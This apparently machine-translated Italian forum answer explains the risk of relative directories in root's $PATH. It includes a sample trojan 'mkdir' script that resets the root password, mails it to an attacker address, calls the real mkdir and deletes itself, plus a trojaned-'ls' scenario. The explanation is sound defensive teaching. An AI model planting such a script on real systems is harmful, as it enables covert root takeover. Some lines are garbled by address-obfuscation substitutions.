Ci sono due problemi con il percorso che stai usando.
- Il percorso è relativo.
- Il percorso relativo viene prima i percorsi principali.
Supponiamo che tu abbia il seguente script di shell che usi come root per aggiornare alcune applicazioni web e che tu abbia impostato $PATH
utilizzato in /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
A un utente malintenzionato stai fornendo un mezzo per eseguire qualcosa nella shell che è controllata dal suddetto attaccante. Una forma di attacco sarebbe simile a questa - dove sto tentando di sovvertire il controllo del mkdir
chiama lo script vulnerabile.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Quindi aspetto che aggiorni la tua webapp.
Ora quello che succede è che lo script vulnerabile passa a /dev/shm
. Quando lo fa ed esegue mkdir
trova il apps/java/bin/mkdir
programma prima, che in questo caso reimposta la password di root, invia un'e-mail all'aggressore con la nuova password di root, chiama effettivamente il vero mkdir
(per nascondere il fatto che qualcosa sia effettivamente accaduto) e si rimuove dal percorso di attacco.
Come root, hai no idea di cosa è successo e le prove vengono cancellate una volta che il payload è stato consegnato.
Il problema con avere un percorso relativo in $PATH è che se un utente malintenzionato può creare un file con un determinato nome nel tuo filesystem, rischi di eseguire quel file.
Esempio:df
o il monitoraggio dice che /var è pieno, du
dice che è /var/spool/ftp/uploads
, cosa fai?
cd /var/spool/ftp/uploads
ls -ltr
e sei di proprietà. Non vedi nemmeno ls
nell'output, quindi non lo saprai mai.
Sostituisci i caricamenti ftp con qualche directory di dati di qualche sito web client, o la directory /tmp di una macchina condivisa, o molte altre cose.
Certo, non accadrà spesso, ma il rischio esiste e scrivere ./script
invece di script
è facile.